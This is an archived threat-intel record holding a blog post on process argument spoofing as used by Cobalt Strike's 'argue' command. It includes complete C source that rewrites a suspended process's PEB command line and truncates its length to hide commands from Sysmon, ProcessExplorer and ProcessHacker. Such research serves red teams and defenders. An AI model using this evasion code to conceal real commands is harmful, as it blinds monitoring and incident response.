{
	"id": "63401392-712f-476c-b7aa-b0af17cd9fb6",
	"created_at": "2026-04-06T00:15:37.096783Z",
	"updated_at": "2026-04-10T03:24:24.364745Z",
	"deleted_at": null,
	"sha1_hash": "7b3a2a07aa9302a3bbffbe4b1283d73ea618043b",
	"title": "How to Argue like Cobalt Strike",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 413073,
	"plain_text": "How to Argue like Cobalt Strike\r\nBy Adam Chester\r\nArchived: 2026-04-05 21:51:51 UTC\r\n« Back to home\r\nPosted on 28th January 2019\r\nIn Cobalt Strike 3.13, the argue command was introduced as a way of taking advantage of argument spoofing. I\r\nwas first made aware of the concept while watching Will Burgess’s awesome talk RedTeaming in the EDR\r\nAge,with Will crediting Casey Smith who presented the idea during a series of tweets.\r\nAs with anything introduced to Cobalt Strike which has the chance to improve operational security, I wanted to\r\ndig into the concept further to see just how this technique worked under the hood, and to understand just how we\r\ncan leverage this in other tools developed outside of Cobalt Strike.\r\nTo start our review of how argument spoofing works, let’s take a look at a popular tool provides information on\r\nexecuting processes including their arguments, ProcessHacker.\r\nProcessHacker Argument Display\r\nAs you will likely know, ProcessHacker is an open source tool similar to SysInternals Process Explorer, which is\r\nused by administrators and investigators to analyse running processes on Windows.\r\nThe source code to the application is available on GitHub, and after a bit of grepping, I found the code responsible\r\nfor retrieving process arguments within phlib/native.c. The code looks like this:\r\nNTSTATUS PhGetProcessPebString(\r\n _In_ HANDLE ProcessHandle,\r\nhttps://blog.xpnsec.com/how-to-argue-like-cobalt-strike/\r\nPage 1 of 13\n\n_In_ PH_PEB_OFFSET Offset,\r\n _Out_ PPH_STRING *String\r\n )\r\n{\r\n ...\r\n PROCESS_BASIC_INFORMATION basicInfo;\r\n PVOID processParameters;\r\n UNICODE_STRING unicodeString;\r\n // Get the PEB address.\r\n if (!NT_SUCCESS(status = PhGetProcessBasicInformation(ProcessHandle, \u0026basicInfo)))\r\n return status;\r\n // Read the address of the process parameters.\r\n if (!NT_SUCCESS(status = NtReadVirtualMemory(\r\n ProcessHandle,\r\n PTR_ADD_OFFSET(basicInfo.PebBaseAddress, FIELD_OFFSET(PEB, ProcessParameters)),\r\n \u0026processParameters,\r\n sizeof(PVOID),\r\n NULL\r\n )))\r\n return status;\r\n \r\n // Read the string structure.\r\n if (!NT_SUCCESS(status = NtReadVirtualMemory(\r\n ProcessHandle,\r\n PTR_ADD_OFFSET(processParameters, offset),\r\n \u0026unicodeString,\r\n sizeof(UNICODE_STRING),\r\n NULL\r\n )))\r\n return status;\r\n \r\n ...\r\n}\r\nHere we see a number of Win32 API calls, the first one (wrapped within PhGetProcessBasicInformation ) is\r\nNtQueryInformationProcess which is passed a parameter of ProcessBasicInformation . If we review the API\r\ndocumentation, we see that this parameter requests the PEB (Process Environment Block) from a target process.\r\nOnce ProcessHacker has the PEB of the process, it then becomes trivial for it to enumerate the arguments used,\r\nfor example, let’s take a look at what makes up the Process Environment Block struct:\r\ntypedef struct _PEB {\r\n BYTE Reserved1[2];\r\n BYTE BeingDebugged;\r\nhttps://blog.xpnsec.com/how-to-argue-like-cobalt-strike/\r\nPage 2 of 13\n\nBYTE Reserved2[1];\r\n PVOID Reserved3[2];\r\n PPEB_LDR_DATA Ldr;\r\n PRTL_USER_PROCESS_PARAMETERS ProcessParameters;\r\n PVOID Reserved4[3];\r\n PVOID AtlThunkSListPtr;\r\n PVOID Reserved5;\r\n ULONG Reserved6;\r\n PVOID Reserved7;\r\n ULONG Reserved8;\r\n ULONG AtlThunkSListPtr32;\r\n PVOID Reserved9[45];\r\n BYTE Reserved10[96];\r\n PPS_POST_PROCESS_INIT_ROUTINE PostProcessInitRoutine;\r\n BYTE Reserved11[128];\r\n PVOID Reserved12[1];\r\n ULONG SessionId;\r\n} PEB, *PPEB;\r\nFor the purposes of this post we will focus on the ProcessParameters field, which is made up of:\r\ntypedef struct _RTL_USER_PROCESS_PARAMETERS {\r\n BYTE Reserved1[16];\r\n PVOID Reserved2[10];\r\n UNICODE_STRING ImagePathName;\r\n UNICODE_STRING CommandLine;\r\n} RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS;\r\nAnd it is here that the processes command line is exposed, revealing arguments used during the creation of the\r\nprocess. So now we know where to find this, how can we go about updating this with the aim of spoofing\r\narguments?\r\nUpdating PEB CommandLine\r\nTo begin, let’s spawn a process as you normally would, however we will first suspend its execution using the\r\nCREATE_SUSPENDED flag:\r\nCreateProcessA(\r\n NULL,\r\n \"cmd.exe\",\r\n NULL,\r\n NULL,\r\n FALSE,\r\n CREATE_SUSPENDED,\r\n NULL,\r\nhttps://blog.xpnsec.com/how-to-argue-like-cobalt-strike/\r\nPage 3 of 13\n\n\"C:\\\\Windows\\\\System32\\\\\",\r\n \u0026si,\r\n \u0026pi);\r\nWith the process spawned and in a suspended state, we now need to grab the PEB address, which can be done\r\nusing the same trick as ProcessHacker, via the NtQueryInformationProcess call. As this call isn’t exposed via the\r\nusual libraries, we will need to find it dynamically at runtime:\r\ntypedef NTSTATUS (*NtQueryInformationProcess)(\r\nIN HANDLE,\r\nIN PROCESSINFOCLASS,\r\nOUT PVOID,\r\nIN ULONG,\r\nOUT PULONG\r\n);\r\nPROCESS_BASIC_INFORMATION pbi;\r\nDWORD retLen;\r\nSIZE_T bytesRead;\r\nNtQueryInformationProcess ntpi;\r\nntpi = (NtQueryInformationProcess)GetProcAddress(\r\n LoadLibraryA(\"ntdll.dll\"),\r\n \"NtQueryInformationProcess\");\r\nntpi(\r\n pi.hProcess,\r\n ProcessBasicInformation,\r\n \u0026pbi,\r\n sizeof(pbi),\r\n \u0026retLen);\r\nWith the address of the PEB identified, we can now extract a copy from the running process using\r\nReadProcessMemory:\r\nvoid* readProcessMemory(HANDLE process, void *address, DWORD bytes) {\r\nSIZE_T bytesRead;\r\nchar *alloc;\r\nalloc = (char *)malloc(bytes);\r\nif (alloc == NULL) {\r\nreturn NULL;\r\n}\r\nif (ReadProcessMemory(process, address, alloc, bytes, \u0026bytesRead) == 0) {\r\nhttps://blog.xpnsec.com/how-to-argue-like-cobalt-strike/\r\nPage 4 of 13\n\nfree(alloc);\r\nreturn NULL;\r\n}\r\nreturn alloc;\r\n}\r\n...\r\n// Read the PEB from the target process\r\nsuccess = ReadProcessMemory(pi.hProcess, pbi.PebBaseAddress, \u0026pebLocal, sizeof(PEB), \u0026bytesRead);\r\nNow we need a copy of the ProcessParameters field which is an instance of the RTL_USER_PROCESS_PARAMETERS\r\nstruct:\r\n// Grab the ProcessParameters from PEB\r\nparameters = (RTL_USER_PROCESS_PARAMETERS*)readProcessMemory(\r\npi.hProcess,\r\npebLocal.ProcessParameters,\r\nsizeof(RTL_USER_PROCESS_PARAMETERS)\r\n);\r\nContained within the RTL_USER_PROCESS_PARAMETERS struct is the CommandLine field we are looking for, which\r\nis actually an instance of a UNICODE_STRING struct. This means that we can update the arguments by writing to\r\nthe UNICODE_STRING.Buffer address using WriteProcessMemory :\r\n// Set the actual arguments we are looking to use\r\nsuccess = writeProcessMemory(\r\n pi.hProcess,\r\n parameters-\u003eCommandLine.Buffer,\r\n (void*)L\"cmd.exe /k dir\\0\",\r\n 30);\r\nAnd finally, we resume execution with ResumeExecution . Once the thread is resumed, we find that our process\r\nwill execute and parse our injected arguments as though they were passed during the CreateProcess call.\r\nArgument Spoofing Impact\r\nNow we have a way to update command line arguments at runtime, what impact does this have on tools recording\r\nexecution activity? Well first let’s look at SysMon. Here we can see the results after spoofing our arguments with a\r\nsimple “cmd.exe /k echo Argument Spoofing Test”:\r\nhttps://blog.xpnsec.com/how-to-argue-like-cobalt-strike/\r\nPage 5 of 13\n\nNext let’s take a look at ProcessExplorer:\r\nOne interesting thing called out during Raffael’s introduction to “Argue” (available here if you haven’t see it) is\r\nthat tools like ProcessExplorer actually retrieve a copy of the PEB each time the process is inspected, meaning\r\nthat our spoofed arguments are revealed.\r\nSpoofing Arguments to Process(Explorer|Hacker)\r\nThis was bugging me a bit, as there must be a way to avoid ProcessExplorer and similar tools if we have control\r\nover the PEB . It turns out that there is a weird trick that does work with both ProcessHacker and ProcessExplorer\r\nand allows you to hide your arguments… by simply creating a corrupted UNICODE_STRING .\r\nAs we know, the CommandLine argument of _RTL_USER_PROCESS_PARAMETERS is a pointer to a UNICODE_STRING\r\nstructure. This has the following layout:\r\nhttps://blog.xpnsec.com/how-to-argue-like-cobalt-strike/\r\nPage 6 of 13\n\ntypedef struct _UNICODE_STRING {\r\n USHORT Length;\r\n USHORT MaximumLength;\r\n PWSTR Buffer;\r\n} UNICODE_STRING, *PUNICODE_STRING;\r\nWe know that when we copy our true arguments to the Buffer parameter address, the application uses this when\r\nattempting to parse parameters, but what happens if we set the Length parameter to be less than the size of the\r\nstring set within the Buffer ?\r\nWell what we find is that for ProcessHacker and ProcessExplorer, each will terminate the string displayed after\r\nLength bytes, whereas the actual process will continue to use Buffer until it hits a NULL character. For\r\nexample, here we have a process running with the command line cmd.exe /k echo Argument Spoofing . If we\r\nupdate the Length of the CommandLine field to 14, we see that ProcessExplorer is showing only cmd.exe as\r\nthe command line argument:\r\nSimilar with ProcessHacker, we are clearly running cmd.exe with an argument, but due to the undersized Length\r\nfield, the remainder of the command line is hidden:\r\nhttps://blog.xpnsec.com/how-to-argue-like-cobalt-strike/\r\nPage 7 of 13\n\nObviously this allows us to have a bit of fun, adding parameters such as echo Something \u0026\u0026 [Hidden command]\r\nwhich will be truncated, hiding our true intentions:\r\nI’ve not yet tested this across multiple applications, but it seems that both cmd.exe and powershell.exe have this\r\nsame behaviour. If you know why this inconsistency exists, please let me know.\r\nThe source code for performing argument spoofing can be found below, or on Github here.\r\n#include \u003ciostream\u003e\r\n#include \u003cWindows.h\u003e\r\n#include \u003cwinternl.h\u003e\r\ntypedef NTSTATUS(*NtQueryInformationProcess2)(\r\nIN HANDLE,\r\nIN PROCESSINFOCLASS,\r\nhttps://blog.xpnsec.com/how-to-argue-like-cobalt-strike/\r\nPage 8 of 13\n\nOUT PVOID,\r\nIN ULONG,\r\nOUT PULONG\r\n);\r\nvoid* readProcessMemory(HANDLE process, void *address, DWORD bytes) {\r\nSIZE_T bytesRead;\r\nchar *alloc;\r\nalloc = (char *)malloc(bytes);\r\nif (alloc == NULL) {\r\nreturn NULL;\r\n}\r\nif (ReadProcessMemory(process, address, alloc, bytes, \u0026bytesRead) == 0) {\r\nfree(alloc);\r\nreturn NULL;\r\n}\r\nreturn alloc;\r\n}\r\nBOOL writeProcessMemory(HANDLE process, void *address, void *data, DWORD bytes) {\r\nSIZE_T bytesWritten;\r\nif (WriteProcessMemory(process, address, data, bytes, \u0026bytesWritten) == 0) {\r\nreturn false;\r\n}\r\nreturn true;\r\n}\r\nhttps://blog.xpnsec.com/how-to-argue-like-cobalt-strike/\r\nPage 9 of 13\n\nint main(int argc, char **canttrustthis)\r\n{\r\nSTARTUPINFOA si;\r\nPROCESS_INFORMATION pi;\r\nCONTEXT context;\r\nBOOL success;\r\nPROCESS_BASIC_INFORMATION pbi;\r\nDWORD retLen;\r\nSIZE_T bytesRead;\r\nPEB pebLocal;\r\nRTL_USER_PROCESS_PARAMETERS *parameters;\r\nprintf(\"Argument Spoofing Example by @_xpn_\\n\\n\");\r\nmemset(\u0026si, 0, sizeof(si));\r\nmemset(\u0026pi, 0, sizeof(pi));\r\n// Start process suspended\r\nsuccess = CreateProcessA(\r\nNULL,\r\n(LPSTR)\"powershell.exe -NoExit -c Write-Host 'This is just a friendly argument, nothing to see here'\",\r\nNULL,\r\nNULL,\r\nFALSE,\r\nCREATE_SUSPENDED | CREATE_NEW_CONSOLE,\r\nNULL,\r\n\"C:\\\\Windows\\\\System32\\\\\",\r\n\u0026si,\r\nhttps://blog.xpnsec.com/how-to-argue-like-cobalt-strike/\r\nPage 10 of 13\n\n\u0026pi);\r\nif (success == FALSE) {\r\nprintf(\"[!] Error: Could not call CreateProcess\\n\");\r\nreturn 1;\r\n}\r\n// Retrieve information on PEB location in process\r\nNtQueryInformationProcess2 ntpi =\r\n(NtQueryInformationProcess2)GetProcAddress(LoadLibraryA(\"ntdll.dll\"),\r\n\"NtQueryInformationProcess\");\r\nntpi(\r\npi.hProcess,\r\nProcessBasicInformation,\r\n\u0026pbi,\r\nsizeof(pbi),\r\n\u0026retLen\r\n);\r\n// Read the PEB from the target process\r\nsuccess = ReadProcessMemory(pi.hProcess, pbi.PebBaseAddress, \u0026pebLocal, sizeof(PEB), \u0026bytesRead);\r\nif (success == FALSE) {\r\nprintf(\"[!] Error: Could not call ReadProcessMemory to grab PEB\\n\");\r\nreturn 1;\r\n}\r\n// Grab the ProcessParameters from PEB\r\nparameters = (RTL_USER_PROCESS_PARAMETERS*)readProcessMemory(\r\npi.hProcess,\r\npebLocal.ProcessParameters,\r\nhttps://blog.xpnsec.com/how-to-argue-like-cobalt-strike/\r\nPage 11 of 13\n\nsizeof(RTL_USER_PROCESS_PARAMETERS) + 300\r\n);\r\n// Set the actual arguments we are looking to use\r\nWCHAR spoofed[] = L\"powershell.exe -NoExit -c Write-Host Surprise, arguments spoofed\\0\";\r\nsuccess = writeProcessMemory(pi.hProcess, parameters-\u003eCommandLine.Buffer, (void*)spoofed,\r\nsizeof(spoofed));\r\nif (success == FALSE) {\r\nprintf(\"[!] Error: Could not call WriteProcessMemory to update commandline args\\n\");\r\nreturn 1;\r\n}\r\n/////// Below we can see an example of truncated output in ProcessHacker and ProcessExplorer /////////\r\n// Update the CommandLine length (Remember, UNICODE length here)\r\nDWORD newUnicodeLen = 28;\r\nsuccess = writeProcessMemory(\r\npi.hProcess,\r\n(char *)pebLocal.ProcessParameters + offsetof(RTL_USER_PROCESS_PARAMETERS,\r\nCommandLine.Length),\r\n(void*)\u0026newUnicodeLen,\r\n4\r\n);\r\nif (success == FALSE) {\r\nprintf(\"[!] Error: Could not call WriteProcessMemory to update commandline arg length\\n\");\r\nreturn 1;\r\n}\r\n// Resume thread execution*/\r\nhttps://blog.xpnsec.com/how-to-argue-like-cobalt-strike/\r\nPage 12 of 13\n\nResumeThread(pi.hThread);\r\n}\r\nSource: https://blog.xpnsec.com/how-to-argue-like-cobalt-strike/\r\nhttps://blog.xpnsec.com/how-to-argue-like-cobalt-strike/\r\nPage 13 of 13",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"MITRE"
	],
	"references": [
		"https://blog.xpnsec.com/how-to-argue-like-cobalt-strike/"
	],
	"report_names": [
		"how-to-argue-like-cobalt-strike"
	],
	"threat_actors": [
		{
			"id": "610a7295-3139-4f34-8cec-b3da40add480",
			"created_at": "2023-01-06T13:46:38.608142Z",
			"updated_at": "2026-04-10T02:00:03.03764Z",
			"deleted_at": null,
			"main_name": "Cobalt",
			"aliases": [
				"Cobalt Group",
				"Cobalt Gang",
				"GOLD KINGSWOOD",
				"COBALT SPIDER",
				"G0080",
				"Mule Libra"
			],
			"source_name": "MISPGALAXY:Cobalt",
			"tools": [],
			"source_id": "MISPGALAXY",
			"reports": null
		}
	],
	"ts_created_at": 1775434537,
	"ts_updated_at": 1775791464,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/7b3a2a07aa9302a3bbffbe4b1283d73ea618043b.pdf",
		"text": "https://archive.orkl.eu/7b3a2a07aa9302a3bbffbe4b1283d73ea618043b.txt",
		"img": "https://archive.orkl.eu/7b3a2a07aa9302a3bbffbe4b1283d73ea618043b.jpg"
	}
}